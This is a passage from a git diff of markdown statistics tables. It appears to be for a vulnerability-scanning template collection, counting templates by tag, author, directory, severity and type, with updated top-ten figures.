| | | | | | | +| cve2011 | 13 | meme-lord | 5 | | | | | | | +| android | 13 | rootxharsh | 5 | | | | | | | +| misconfig | 13 | e_schultze_ | 4 | | | | | | | +| struts | 13 | xelkomy | 4 | | | | | | | +| jenkins | 12 | elsfa7110 | 4 | | | | | | | +| weblogic | 12 | github.com/its0x08 | 4 | | | | | | | +| adobe | 12 | nodauf | 4 | | | | | | | +| dlink | 12 | mavericknerd | 3 | | | | | | | +| dns | 12 | yash anand @yashanand155 | 3 | | | | | | | +| router | 11 | _generic_human_ | 3 | | | | | | | +| zoho | 11 | f1tz | 3 | | | | | | | +| php | 11 | vsh00t | 3 | | | | | | | +| devops | 11 | fyoorer | 3 | | | | | | | +| fuzz | 11 | dudez | 3 | | | | | | | +| cve2013 | 11 | binaryfigments | 3 | | | | | | | +| cve2010 | 9 | thomas_from_offensity | 3 | | | | | | | +| magento | 9 | impramodsargar | 3 | | | | | | | +| xxe | 8 | 0w4ys | 3 | | | | | | | +| airflow | 8 | shifacyclewala | 3 | | | | | | | +| rails | 8 | shine | 3 | | | | | | | +| ruijie | 8 | z3bd | 3 | | | | | | | +| gitlab | 8 | jarijaas | 3 | | | | | | | +| cnvd | 8 | emenalf | 3 | | | | | | | +| aws | 8 | tess | 3 | | | | | | | +| ftp | 8 | amsda | 2 | | | | | | | +| scada | 7 | manas_harsh | 2 | | | | | | | +| vmware | 7 | x1m_martijn | 2 | | | | | | | +| nginx | 7 | hahwul | 2 | | | | | | | +| cve2009 | 7 | zomsop82 | 2 | | | | | | | +| login | 7 | randomrobbie | 2 | | | | | | | +| citrix | 6 | mahendra purbia (mah3sec_) | 2 | | | | | | | +| solr | 6 | lu4nx | 2 | | | | | | | +| google | 6 | alifathi-h1 | 2 | | | | | | | +| jetty | 6 | incogbyte | 2 | | | | | | | +| coldfusion | 6 | moritz nentwig | 2 | | | | | | | +| laravel | 6 | arcc | 2 | | | | | | | +| dell | 6 | nkxxkn | 2 | | | | | | | +| cms | 6 | unstabl3 | 2 | | | | | | | +| api | 6 | random-robbie | 2 | | | | | | | +| rconfig | 6 | 0xcrypto | 2 | | | | | | | +| backup | 6 | koti2 | 2 | | | | | | | +| netgear | 5 | davidmckennirey | 2 | | | | | | | +| headless | 5 | swissky | 2 | | | | | | | +| files | 5 | ree4pwn | 2 | | | | | | | +| django | 5 | afaq | 2 | | | | | | | +| ssti | 5 | 0xprial | 2 | | | | | | | +| iis | 5 | hetroublemakr | 2 | | | | | | | +| confluence | 5 | kiblyn11 | 2 | | | | | | | +| java | 5 | fabaff | 2 | | | | | | | +| drupal | 5 | bp0lr | 2 | | | | | | | +| phpmyadmin | 5 | gevakun | 2 | | | | | | | +| circarlife | 5 | lotusdll | 2 | | | | | | | +| lucee | 5 | vavkamil | 2 | | | | | | | +| ibm | 5 | pxmme1337 | 2 | | | | | | | +| dedecms | 5 | parth | 2 | | | | | | | +| fileupload | 5 | w4cky_ | 2 | | | | | | | +| wp-theme | 5 | foulenzer | 2 | | | | | | | +| magmi | 4 | joeldeleep | 2 | | | | | | | +| deserialization | 4 | 0xrudra | 2 | | | | | | | +| vpn | 4 | 0xelkomy | 2 | | | | | | | +| crlf | 4 | udit_thakkur | 2 | | | | | | | +| samsung | 4 | dheerajmadhukar | 2 | | | | | | | +| artifactory | 4 | gal nagli | 2 | | | | | | | +| docker | 4 | bing0o | 2 | | | | | | | +| tomcat | 4 | bsysop | 2 | | | | | | | +| webserver | 4 | 0xsapra | 2 | | | | | | | +| moodle | 4 | sushantkamble | 2 | | | | | | | +| hongdian | 4 | ehsahil | 2 | | | | | | | +| zimbra | 4 | divya_mudgal | 1 | | | | | | | +| cve2008 | 4 | huowuzhao | 1 | | | | | | | +| jolokia | 4 | 52971 | 1 | | | | | | | +| firmware | 4 | kabirsuda | 1 | | | | | | | +| asp | 4 | sicksec | 1 | | | | | | | +| traversal | 4 | b0yd | 1 | | | | | | | +| nodejs | 4 | aresx | 1 | | | | | | | +| buffalo | 4 | d0rkerdevil | 1 | | | | | | | +| thinkcmf | 4 | makyotox | 1 | | | | | | | +| windows | 4 | geraldino2 | 1 | | | | | | | +| elastic | 4 | juicypotato1 | 1 | | | | | | | +| thinkphp | 4 | jeya seelan | 1 | | | | | | | +| solarwinds | 4 | rojanrijal | 1 | | | | | | | +| ebs | 3 | andysvints | 1 | | | | | | | +| backups | 3 | pudsec | 1 | | | | | | | +| vbulletin | 3 | @dwisiswant0 | 1 | | | | | | | +| symfony | 3 | 0ut0fb4nd | 1 | | | | | | | +| fpd | 3 | noamrathaus | 1 | | | | | | | +| wso2 | 3 | remonsec | 1 | | | | | | | +| nexus | 3 | zhenwarx | 1 | | | | | | | +| bypass | 3 | flag007 | 1 | | | | | | | +| amazon | 3 | philippdelteil | 1 | | | | | | | +| fanruan | 3 | mesaglio | 1 | | | | | | | +| log | 3 | elmahdi | 1 | | | | | | | +| printer | 3 | thezakman | 1 | | | | | | | +| tikiwiki | 3 | exploitation | 1 | | | | | | | +| openssh | 3 | c3l3si4n | 1 | | | | | | | +| resin | 3 | deena | 1 | | | | | | | +| nacos | 3 | rodnt | 1 | | | | | | | +| ssh | 3 | ringo | 1 | | | | | | | +| kafka | 3 | 0h1in9e | 1 | | | | | | | +| microsoft | 3 | ilovebinbash | 1 | | | | | | | +| hp | 3 | mhdsamx | 1 | | | | | | | +| httpd | 3 | manuelbua | 1 | | | | | | | +| ofbiz | 3 | sy3omda | 1 | | | | | | | +| caucho | 3 | revblock | 1 | | | | | | | +| nosqli | 3 | alex | 1 | | | | | | | +| springcloud | 3 | berkdusunur | 1 | | | | | | | +| microstrategy | 3 | mohammedsaneem | 1 | | | | | | | +| bitrix | 3 | becivells | 1 | | | | | | | +| lfr | 3 | ratnadip gajbhiye | 1 | | | | | | | +| mongodb | 3 | alph4byt3 | 1 | | | | | | | +| kubernetes | 3 | undefl0w | 1 | | | | | | | +| itop | 3 | rtcms | 1 | | | | | | | +| r-seenet | 3 | un-fmunozs | 1 | | | | | | | +| grafana | 3 | blckraven | 1 | | | | | | | +| opensis | 3 | alperenkesk | 1 | | | | | | | +| oa | 3 | naglinagli | 1 | | | | | | | +| git | 3 | me9187 | 1 | | | | | | | +| zhiyuan | 3 | jteles | 1 | | | | | | | +| zabbix | 3 | r3naissance | 1 | | | | | | | +| slack | 3 | shelld3v | 1 | | | | | | | +| targa | 3 | yashanand155 | 1 | | | | | | | +| terramaster | 3 | sickwell | 1 | | | | | | | +| kevinlab | 3 | shreyapohekar | 1 | | | | | | | +| smb | 2 | akash.c | 1 | | | | | | | +| telerik | 2 | fopina | 1 | | | | | | | +| hasura | 2 | 0xtavian | 1 | | | | | | | +| xxljob | 2 | ohlinge | 1 | | | | | | | +| seeyon | 2 | cookiehanhoan | 1 | | | | | | | +| couchdb | 2 | apt-mirror | 1 | | | | | | | +| jellyfin | 2 | absshax | 1 | | | | | | | +| natshell | 2 | akshansh | 1 | | | | | | | +| avantfax | 2 | yavolo | 1 | | | | | | | +| phpcollab | 2 | bolli95 | 1 | | | | | | | +| pega | 2 | aaron_costello | 1 | | | | | | | +| | | (@conspiracyproof) | | | | | | | | +| akamai | 2 | regala_ | 1 | | | | | | | +| status | 2 | smaranchand | 1 | | | | | | | +| rockmongo | 2 | daviey | 1 | | | | | | | +| grav | 2 | pratik khalane | 1 | | | | | | | +| mida | 2 | qlkwej | 1 | | | | | | | +| waf | 2 | willd96 | 1 | | | | | | | +| smtp | 2 | j33n1k4 | 1 | | | | | | | +| frp | 2 | affix | 1 | | | | | | | +| vrealize | 2 | petruknisme | 1 | | | | | | | +| spark | 2 | dogasantos | 1 | | | | | | | +| paloalto | 2 | bjhulst | 1 | | | | | | | +| kibana | 2 | intx0x80 | 1 | | | | | | | +| odoo | 2 | hanlaomo | 1 | | | | | | | +| injection | 2 | raesene | 1 | | | | | | | +| jsf | 2 | kareemse1im | 1 | | | | | | | +| jeedom | 2 | johnjhacking | 1 | | | | | | | +| webcam | 2 | notsoevilweasel | 1 | | | | | | | +| hjtcloud | 2 | g4l1t0 and @convisoappsec | 1 | | | | | | | +| cve2007 | 2 | luskabol | 1 | | | | | | | +| chiyu | 2 | sshell | 1 | | | | | | | +| plesk | 2 | patralos | 1 | | | | | | | +| hpe | 2 | luci | 1 | | | | | | | +| rockethchat | 2 | defr0ggy | 1 | | | | | | | +| cve2005 | 2 | ajaysenr | 1 | | | | | | | +| dos | 2 | tim_koopmans | 1 | | | | | | | +| leak | 2 | gboddin | 1 | | | | | | | +| sonarqube | 2 | omarkurt | 1 | | | | | | | +| flir | 2 | schniggie | 1 | | | | | | | +| linkerd | 2 | hakluke | 1 | | | | | | | +| huawei | 2 | sid ahmed malaoui @ realistic | 1 | | | | | | | +| | | security | | | | | | | | +| hashicorp | 2 | zandros0 | 1 | | | | | | | +| service | 2 | udyz | 1 | | | | | | | +| openam | 2 | wabafet | 1 | | | | | | | +| exchange | 2 | taielab | 1 | | | | | | | +| glassfish | 2 | idealphase | 1 | | | | | | | +| backdoor | 2 | ahmed sherif | 1 | | | | | | | +| igs | 2 | soyelmago | 1 | | | | | | | +| sonicwall | 2 | streetofhackerr007 (rohit | 1 | | | | | | | +| | | soni) | | | | | | | | +| maian | 2 | knassar702 | 1 | | | | | | | +| github | 2 | micha3lb3n | 1 | | | | | | | +| cache | 2 | vzamanillo | 1 | | | | | | | +| mail | 2 | b4uh0lz | 1 | | | | | | | +| rstudio | 2 | s1r1u5_ | 1 | | | | | | | +| ecology | 2 | tirtha_mandal | 1 | | | | | | | +| bigip | 2 | retr0 | 1 | | | | | | | +| jboss | 2 | fmunozs | 1 | | | | | | | +| activemq | 2 | streetofhackerr007 | 1 | | | | | | | +| trixbox | 2 | 0xrod | 1 | | | | | | | +| akkadian | 2 | abison_binoy | 1 | | | | | | | +| emerge | 2 | iampritam | 1 | | | | | | | +| openfire | 2 | bernardo rodrigues | 1 | | | | | | | +| | | @bernardofsr | andré monteiro | | | | | | | | +| | | @am0nt31r0 | | | | | | | | +| voipmonitor | 2 | adrianmf | 1 | | | | | | | +| nextjs | 2 | aceseven (digisec360) | 1 | | | | | | | +| nagios | 2 | j3ssie/geraldino2 | 1 | | | | | | | +| sharepoint | 2 | dawid czarnecki | 1 | | | | | | | +| guacamole | 2 | 0xteles | 1 | | | | | | | +| strapi | 2 | yashgoti | 1 | | | | | | | +| showdoc | 2 | pdp | 1 | | | | | | | +| horde | 2 | bad5ect0r | 1 | | | | | | | +| idrac | 2 | mah3sec_ | 1 | | | | | | | +| intrusive | 2 | _darrenmartyn | 1 | | | | | | | +| kentico | 2 | th3.d1p4k | 1 | | | | | | | +| saltstack | 2 | johnk3r | 1 | | | | | | | +| fortios | 2 | ldionmarcil | 1 | | | | | | | +| icewarp | 2 | thevillagehacker | 1 | | | | | | | +| prometheus | 2 | _harleo | 1 | | | | | | | +| azure | 2 | sullo | 1 | | | | | | | +| splunk | 2 | furkansenan | 1 | | | | | | | +| keycloak | 2 | mass0ma | 1 | | | | | | | +| chamilo | 2 | co0nan | 1 | | | | | | | +| globalprotect | 2 | ivo palazzolo (@palaziv) | 1 | | | | | | | +| yapi | 2 | chron0x | 1 | | | | | | | +| oauth | 2 | bernardofsr | 1 | | | | | | | +| proxy | 2 | shifacyclewla | 1 | | | | | | | +| wordfence | 2 | nytr0gen | 1 | | | | | | | +| ucmdb | 2 | kurohost | 1 | | | | | | | +| shellshock | 2 | manikanta a.k.a @secureitmania | 1 | | | | | | | +| dolibarr | 2 | mubassirpatel | 1 | | | | | | | +| openstack | 1 | kba@sogeti_esec | 1 | | | | | | | +| jfrog | 1 | andirrahmani1 | 1 | | | | | | | +| blind | 1 | ipanda | 1 | | | | | | | +| bash | 1 | elder tao | 1 | | | | | | | +| npm | 1 | whynotke | 1 | | | | | | | +| gogs | 1 | _c0wb0y_ | 1 | | | | | | | +| gloo | 1 | kishore krishna (sillydaddy) | 1 | | | | | | | +| zarafa | 1 | ooooooo_q | 1 | | | | | | | +| zzzcms | 1 | its0x08 | 1 | | | | | | | +| ec2 | 1 | toufik airane | 1 | | | | | | | +| cherokee | 1 | @github.com/defr0ggy | 1 | | | | | | | +| k8s | 1 | | | | | | | | | +| spectracom | 1 | | | | | | | | | +| xiuno | 1 | | | | | | | | | +| gitlist | 1 | | | | | | | | | +| optiLink | 1 | | | | | | | | | +| fortinet | 1 | | | | | | | | | +| selea | 1 | | | | | | | | | +| lancom | 1 | | | | | | | | | +| postmessage | 1 | | | | | | | | | +| grails | 1 | | | | | | | | | +| glpi | 1 | | | | | | | | | +| mailchimp | 1 | | | | | | | | | +| alibaba | 1 | | | | | | | | | +| xmlchart | 1 | | | | | | | | | +| viewpoint | 1 | | | | | | | | | +| bruteforce | 1 | | | | | | | | | +| interlib | 1 | | | | | | | | | +| ioncube | 1 | | | | | | | | | +| linux | 1 | | | | | | | | | +| ewebs | 1 | | | | | | | | | +| cocoon | 1 | | | | | | | | | +| nette | 1 | | | | | | | | | +| jitsi | 1 | | | | | | | | | +| mobileiron | 1 | | | | | | | | | +| opencast | 1 | | | | | | | | | +| vscode | 1 | | | | | | | | | +| doh | 1 | | | | | | | | | +| qdpm | 1 | | | | | | | | | +| timeclock | 1 | | | | | | | | | +| openrestry | 1 | | | | | | | | | +| websvn | 1 | | | | | | | | | +| manageengine | 1 | | | | | | | | | +| ueditor | 1 | | | | | | | | | +| default | 1 | | | | | | | | | +| k8 | 1 | | | | | | | | | +| comodo | 1 | | | | | | | | | +| fastapi | 1 | | | | | | | | | +| upload | 1 | | | | | | | | | +| nomad | 1 | | | | | | | | | +| flash | 1 | | | | | | | | | +| sureline | 1 | | | | | | | | | +| cve2006 | 1 | | | | | | | | | +| timesheet | 1 | | | | | | | | | +| kerbynet | 1 | | | | | | | | | +| realteo | 1 | | | | | | | | | +| beanshell | 1 | | | | | | | | | +| sitecore | 1 | | | | | | | | | +| ssltls | 1 | | | | | | | | | +| codeigniter | 1 | | | | | | | | | +| yii | 1 | | | | | | | | | +| vsftpd | 1 | | | | | | | | | +| webadmin | 1 | | | | | | | | | +| tensorboard | 1 | | | | | | | | | +| tika | 1 | | | | | | | | | +| lg-nas | 1 | | | | | | | | | +| openemr | 1 | | | | | | | | | +| centos | 1 | | | | | | | | | +| drone | 1 | | | | | | | | | +| acme | 1 | | | | | | | | | +| netsweeper | 1 | | | | | | | | | +| default-login | 1 | | | | | | | | | +| csrf | 1 | | | | | | | | | +| lighttpd | 1 | | | | | | | | | +| logontracer | 1 | | | | | | | | | +| nuxeo | 1 | | | | | | | | | +| phalcon | 1 | | | | | | | | | +| netrc | 1 | | | | | | | | | +| dompdf | 1 | | | | | | | | | +| livezilla | 1 | | | | | | | | | +| jenkin | 1 | | | | | | | | | +| solman | 1 | | | | | | | | | +| bigbluebutton | 1 | | | | | | | | | +| 2014 | 1 | | | | | | | | | +| qsan | 1 | | | | | | | | | +| sqlite | 1 | | | | | | | | | +| shopware | 1 | | | | | | | | | +| mantisbt | 1 | | | | | | | | | +| ulterius | 1 | | | | | | | | | +| cobub | 1 | | | | | | | | | +| traefik | 1 | | | | | | | | | +| expressjs | 1 | | | | | | | | | +| appweb | 1 | | | | | | | | | +| goahead | 1 | | | | | | | | | +| octoprint | 1 | | | | | | | | | +| wamp | 1 | | | | | | | | | +| node | 1 | | | | | | | | | +| duomicms | 1 | | | | | | | | | +| centreon | 1 | | | | | | | | | +| jenzabar | 1 | | | | | | | | | +| embedthis | 1 | | | | | | | | | +| pyramid | 1 | | | | | | | | | +| camunda | 1 | | | | | | | | | +| auth | 1 | | | | | | | | | +| dotnet | 1 | | | | | | | | | +| liferay | 1 | | | | | | | | | +| ricoh | 1 | | | | | | | | | +| proftpd | 1 | | | | | | | | | +| mara | 1 | | | | | | | | | +| h3c-imc | 1 | | | | | | | | | +| esmtp | 1 | | | | | | | | | +| lansweeper | 1 | | | | | | | | | +| sourcebans | 1 | | | | | | | | | +| clusterengine | 1 | | | | | | | | | +| fortigate | 1 | | | | | | | | | +| fortilogger | 1 | | | | | | | | | +| ilo4 | 1 | | | | | | | | | +| rmc | 1 | | | | | | | | | +| shopxo | 1 | | | | | | | | | +| nsasg | 1 | | | | | | | | | +| kyan | 1 | | | | | | | | | +| stem | 1 | | | | | | | | | +| labtech | 1 | | | | | | | | | +| mantis | 1 | | | | | | | | | +| codemeter | 1 | | | | | | | | | +| zend | 1 | | | | | | | | | +| circontrorl | 1 | | | | | | | | | +| rujjie | 1 | | | | | | | | | +| biometrics | 1 | | | | | | | | | +| argussurveillance | 1 | | | | | | | | | +| zookeeper | 1 | | | | | | | | | +| dnssec | 1 | | | | | | | | | +| octobercms | 1 | | | | | | | | | +| bedita | 1 | | | | | | | | | +| nexusdb | 1 | | | | | | | | | +| spring | 1 | | | | | | | | | +| pagespeed | 1 | | | | | | | | | +| servicedesk | 1 | | | | | | | | | +| darkstat | 1 | | | | | | | | | +| wiki | 1 | | | | | | | | | +| socomec | 1 | | | | | | | | | +| flink | 1 | | | | | | | | | +| resourcespace | 1 | | | | | | | | | +| clave | 1 | | | | | | | | | +| xdcms | 1 | | | | | | | | | +| discourse | 1 | | | | | | | | | +| feifeicms | 1 | | | | | | | | | +| 74cms | 1 | | | | | | | | | +| ecom | 1 | | | | | | | | | +| ruckus | 1 | | | | | | | | | +| starttls | 1 | | | | | | | | | +| cloudflare | 1 | | | | | | | | | +| vsphere | 1 | | | | | | | | | +| sceditor | 1 | | | | | | | | | +| achecker | 1 | | | | | | | | | +| monitorr | 1 | | | | | | | | | +| linksys | 1 | | | | | | | | | +| qvisdvr | 1 | | | | | | | | | +| rsyncd | 1 | | | | | | | | | +| zenario | 1 | | | | | | | | | +| commscope | 1 | | | | | | | | | +| episerver | 1 | | | | | | | | | +| firebase | 1 | | | | | | | | | +| bolt | 1 | | | | | | | | | +| postgres | 1 | | | | | | | | | +| haproxy | 1 | | | | | | | | | +| acontent | 1 | | | | | | | | | +| email | 1 | | | | | | | | | +| panos | 1 | | | | | | | | | +| zyxel | 1 | | | | | | | | | +| expose | 1 | | | | | | | | | +| aspnuke | 1 | | | | | | | | | +| fedora | 1 | | | | | | | | | +| adminer | 1 | | | | | | | | | +| addpac | 1 | | | | | | | | | +| swagger | 1 | | | | | | | | | +| varnish | 1 | | | | | | | | | +| nps | 1 | | | | | | | | | +| axis | 1 | | | | | | | | | +| mysql | 1 | | | | | | | | | +| netis | 1 | | | | | | | | | +| tensorflow | 1 | | | | | | | | | +| turbocrm | 1 | | | | | | | | | +| svnserve | 1 | | | | | | | | | +| aura | 1 | | | | | | | | | +| xml | 1 | | | | | | | | | +| wooyun | 1 | | | | | | | | | +| uwsgi | 1 | | | | | | | | | +| monitorix | 1 | | | | | | | | | +| keenetic | 1 | | | | | | | | | +| exposures | 1 | | | | | | | | | +| nordex | 1 | | | | | | | | | +| blackboard | 1 | | | | | | | | | +| discord | 1 | | | | | | | | | +| zcms | 1 | | | | | | | | | +| mediumish | 1 | | | | | | | | | +| gateone | 1 | | | | | | | | | +| iptime | 1 | | | | | | | | | +| setup | 1 | | | | | | | | | +| jnoj | 1 | | | | | | | | | +| sarg | 1 | | | | | | | | | +| dvwa | 1 | | | | | | | | | +| opm | 1 | | | | | | | | | +| oneblog | 1 | | | | | | | | | +| wavemaker | 1 | | | | | | | | | +| klog | 1 | | | | | | | | | +| dvr | 1 | | | | | | | | | +| ruby | 1 | | | | | | | | | +| froxlor | 1 | | | | | | | | | +| anchorcms | 1 | | | | | | | | | +| woocomernce | 1 | | | | | | | | | +| viewlinc | 1 | | | | | | | | | +| memcached | 1 | | | | | | | | | +| lotuscms | 1 | | | | | | | | | +| apos | 1 | | | | | | | | | +| perl | 1 | | | | | | | | | +| clockwatch | 1 | | | | | | | | | +| upnp | 1 | | | | | | | | | +| harbor | 1 | | | | | | | | | +| hortonworks | 1 | | | | | | | | | +| faraday | 1 | | | | | | | | | +| linkedin | 1 | | | | | | | | | +| checkpoint | 1 | | | | | | | | | +| metinfo | 1 | | | | | | | | | +| jsp | 1 | | | | | | | | | +| xff | 1 | | | | | | | | | +| wavlink | 1 | | | | | | | | | +| powercreator | 1 | | | | | | | | | +| openerp | 1 | | | | | | | | | +| crm | 1 | | | | | | | | | +| arl | 1 | | | | | | | | | +| fortigates | 1 | | | | | | | | | +| pulsesecure | 1 | | | | | | | | | +| plc | 1 | | | | | | | | | +| expn | 1 | | | | | | | | | +| office365 | 1 | | | | | | | | | +| plugin | 1 | | | | | | | | | +| javamelody | 1 | | | | | | | | | +| erp-nc | 1 | | | | | | | | | +| emby | 1 | | | | | | | | | +| seacms | 1 | | | | | | | | | +| sangfor | 1 | | | | | | | | | +| openx | 1 | | | | | | | | | +| webftp | 1 | | | | | | | | | +| szhe | 1 | | | | | | | | | +| sar2html | 1 | | | | | | | | | +| oscommerce | 1 | | | | | | | | | +| eyou | 1 | | | | | | | | | +| finereport | 1 | | | | | | | | | +| sco | 1 | | | | | | | | | +| synnefo | 1 | | | | | | | | | +| javafaces | 1 | | | | | | | | | +| webui | 1 | | | | | | | | | +| xunchi | 1 | | | | | | | | | +| triconsole | 1 | | | | | | | | | +| extractor | 1 | | | | | | | | | +| db | 1 | | | | | | | | | +| ganglia | 1 | | | | | | | | | +| ghost | 1 | | | | | | | | | +| rubedo | 1 | | | | | | | | | +| emc | 1 | | | | | | | | | +| wmt | 1 | | | | | | | | | +| spidercontrol | 1 | | | | | | | | | +| tpshop | 1 | | | | | | | | | +| soar | 1 | | | | | | | | | +| phpinfo | 1 | | | | | | | | | +| sentry | 1 | | | | | | | | | +| cofax | 1 | | | | | | | | | +| ssl | 1 | | | | | | | | | +| salesforce | 1 | | | | | | | | | +| yachtcontrol | 1 | | | | | | | | | +| qcubed | 1 | | | | | | | | | +| floc | 1 | | | | | | | | | +| hadoop | 1 | | | | | | | | | +| dom | 1 | | | | | | | | | +| bitly | 1 | | | | | | | | | +| chevereto | 1 | | | | | | | | | +| alerta | 1 | | | | | | | | | +| phpfusion | 1 | | | | | | | | | +| servicenow | 1 | | | | | | | | | +| phpunit | 1 | | | | | | | | | +| opensns | 1 | | | | | | | | | +| robomongo | 1 | | | | | | | | | +| moin | 1 | | | | | | | | | +| idemia | 1 | | | | | | | | | +| pippoint | 1 | | | | | | | | | +| geddy | 1 | | | | | | | | | +| rdp | 1 | | | | | | | | | +| jmx | 1 | | | | | | | | | +| cerebro | 1 | | | | | | | | | +| api-manager | 1 | | | | | | | | | +| smartsense | 1 | | | | | | | | | +| nc2 | 1 | | | | | | | | | +| rmi | 1 | | | | | | | | | +| sage | 1 | | | | | | | | | +| zeroshell | 1 | | | | | | | | | +| skywalking | 1 | | | | | | | | | +| scimono | 1 | | | | | | | | | +| plastic | 1 | | | | | | | | | +| exacqvision | 1 | | | | | | | | | +| yealink | 1 | | | | | | | | | +| moinmoin | 1 | | | | | | | | | +| alertmanager | 1 | | | | | | | | | +| ns | 1 | | | | | | | | | +| clink-office | 1 | | | | | | | | | +| node-red-dashboard | 1 | | | | | | | | | +| majordomo2 | 1 | | | | | | | | | +| azkaban | 1 | | | | | | | | | +| razor | 1 | | | | | | | | | +| kong | 1 | | | | | | | | | +| aruba | 1 | | | | | | | | | +| htmli | 1 | | | | | | | | | +| mirai | 1 | | | | | | | | | +| ambari | 1 | | | | | | | | | +| redcap | 1 | | | | | | | | | +| netdata | 1 | | | | | | | | | +| empirecms | 1 | | | | | | | | | +| nweb2fax | 1 | | | | | | | | | +| myucms | 1 | | | | | | | | | +| saltapi | 1 | | | | | | | | | +| dotnetnuke | 1 | | | | | | | | | +| fiori | 1 | | | | | | | | | +| parentlink | 1 | | | | | | | | | +| spf | 1 | | | | | | | | | +| tamronos | 1 | | | | | | | | | +| nedi | 1 | | | | | | | | | +| wondercms | 1 | | | | | | | | | +| diris | 1 | | | | | | | | | +| circontrol | 1 | | | | | | | | | +| xvr | 1 | | | | | | | | | +| heroku | 1 | | | | | | | | | +| cloudinary | 1 | | | | | | | | | +| gespage | 1 | | | | | | | | | +| gotmls | 1 | | | | | | | | | +| nuuo | 1 | | | | | | | | | +| mongo | 1 | | | | | | | | | +| svn | 1 | | | | | | | | | +| zmanda | 1 | | | | | | | | | +| prestashop | 1 | | | | | | | | | +| cors | 1 | | | | | | | | | +| totaljs | 1 | | | | | | | | | +| cacti | 1 | | | | | | | | | +| enum | 1 | | | | | | | | | +| tongda | 1 | | | | | | | | | +| panabit | 1 | | | | | | | | | +| avalanche | 1 | | | | | | | | | +| domxss | 1 | | | | | | | | | +| glances | 1 | | | | | | | | | +| plone | 1 | | | | | | | | | +| wazuh | 1 | | | | | | | | | +| wing-ftp | 1 | | | | | | | | | +| tieline | 1 | | | | | | | | | +| spip | 1 | | | | | | | | | +| webmin | 1 | | | | | | | | | +| avtech | 1 | | | | | | | | | +| cse | 1 | | | | | | | | | +| druid | 1 | | | | | | | | | +| opentsdb | 1 | | | | | | | | | +| huijietong | 1 | | | | | | | | | +| dotclear | 1 | | | | | | | | | +| krweb | 1 | | | | | | | | | +| ntopng | 1 | | | | | | | | | +| fuelcms | 1 | | | | | | | | | +| ems | 1 | | | | | | | | | +| webmodule-ee | 1 | | | | | | | | | +| getsimple | 1 | | | | | | | | | +| mautic | 1 | | | | | | | | | +| etouch | 1 | | | | | | | | | +| visionhub | 1 | | | | | | | | | +| sprintful | 1 | | | | | | | | | +| influxdb | 1 | | | | | | | | | +| bullwark | 1 | | | | | | | | | +| trilithic | 1 | | | | | | | | | +| sidekiq | 1 | | | | | | | | | +| kubeflow | 1 | | | | | | | | | +| springframework | 1 | | | | | | | | | +| redwood | 1 | | | | | | | | | +| geutebruck | 1 | | | | | | | | | +| hiboss | 1 | | | | | | | | | +| thinkadmin | 1 | | | | | | | | | +| tenda | 1 | | | | | | | | | +| subrion | 1 | | | | | | | | | +| apiman | 1 | | | | | | | | | +| landray | 1 | | | | | | | | | +| visualtools | 1 | | | | | | | | | +| weiphp | 1 | | | | | | | | | +| lutron | 1 | | | | | | | | | +| concrete | 1 | | | | | | | | | +| chinaunicom | 1 | | | | | | | | | +| favicon | 1 | | | | | | | | | +| fortiweb | 1 | | | | | | | | | +| zm | 1 | | | | | | | | | +| fastcgi | 1 | | | | | | | | | +| twitter-server | 1 | | | | | | | | | +| pgadmin | 1 | | | | | | | | | +| csod | 1 | | | | | | | | | +| mdb | 1 | | | | | | | | | +| rfi | 1 | | | | | | | | | +| acexy | 1 | | | | | | | | | +| accela | 1 | | | | | | | | | +| jquery | 1 | | | | | | | | | +| mongoshake | 1 | | | | | | | | | +| kafdrop | 1 | | | | | | | | | +| wuzhicms | 1 | | | | | | | | | +| scs | 1 | | | | | | | | | +| blue-ocean | 1 | | | | | | | | | +| primetek | 1 | | | | | | | | | +| redis | 1 | | | | | | | | | +| pacsone | 1 | | | | | | | | | +| bookstack | 1 | | | | | | | | | +| rhymix | 1 | | | | | | | | | +| javascript | 1 | | | | | | | | | +| mpsec | 1 | | | | | | | | | +| wifisky | 1 | | | | | | | | | +| opensmtpd | 1 | | | | | | | | | +| jeewms | 1 | | | | | | | | | +| tileserver | 1 | | | | | | | | | +| redhat | 1 | | | | | | | | | +| zte | 1 | | | | | | | | | +| gridx | 1 | | | | | | | | | +| b2evolution | 1 | | | | | | | | | +| lanproxy | 1 | | | | | | | | | +| eprints | 1 | | | | | | | | | +| st | 1 | | | | | | | | | +| sgp | 1 | | | | | | | | | +| magicflow | 1 | | | | | | | | | +| tapestry | 1 | | | | | | | | | +| payara | 1 | | | | | | | | | +| landrayoa | 1 | | | | | | | | | +| cgi | 1 | | | | | | | | | +| vnc | 1 | | | | | | | | | +| portainer | 1 | | | | | | | | | +| mariadb | 1 | | | | | | | | | +| rabbitmq | 1 | | | | | | | | | +| calendarix | 1 | | | | | | | | | +| mcafee | 1 | | | | | | | | | +| enumeration | 1 | | | | | | | | | +| maccmsv10 | 1 | | | | | | | | | +| wildfly | 1 | | | | | | | | | diff --git a/TOP-10.md b/TOP-10.md index 0f79e9d451..18bef8f400 100644 --- a/TOP-10.md +++ b/TOP-10.md @@ -1,12 +1,12 @@ | TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------| -| cve | 511 | dhiyaneshdk | 220 | cves | 518 | info | 535 | http | 1566 | -| panel | 202 | pikpikcu | 195 | vulnerabilities | 246 | high | 426 | file | 42 | -| xss | 182 | pdteam | 187 | exposed-panels | 204 | medium | 349 | network | 35 | -| wordpress | 180 | dwisiswant0 | 126 | exposures | 168 | critical | 201 | dns | 10 | -| exposure | 176 | geeknik | 119 | technologies | 136 | low | 147 | | | -| rce | 173 | daffainfo | 99 | misconfiguration | 115 | | | | | -| cve2020 | 145 | madrobot | 60 | takeovers | 70 | | | | | -| lfi | 143 | princechaddha | 52 | default-logins | 49 | | | | | -| wp-plugin | 120 | gy741 | 48 | file | 42 | | | | | -| config | 90 | gaurang | 42 | workflows | 34 | | | | | +| cve | 590 | dhiyaneshdk | 239 | cves | 597 | info | 583 | http | 1720 | +| panel | 219 | pikpikcu | 237 | vulnerabilities | 265 | high | 465 | file | 46 | +| xss | 215 | pdteam | 194 | exposed-panels | 221 | medium | 387 | network | 35 | +| wordpress | 201 | daffainfo | 136 | exposures | 174 | critical | 226 | dns | 11 | +| exposure | 196 | dwisiswant0 | 128 | technologies | 159 | low | 156 | | | +| rce | 187 | geeknik | 127 | misconfiguration | 124 | | | | | +| lfi | 176 | gy741 | 68 | takeovers | 70 | | | | | +| cve2020 | 155 | madrobot | 60 | default-logins | 51 | | | | | +| wp-plugin | 136 | princechaddha | 53 | file | 46 | | | | | +| tech | 101 | gaurang | 42 | workflows | 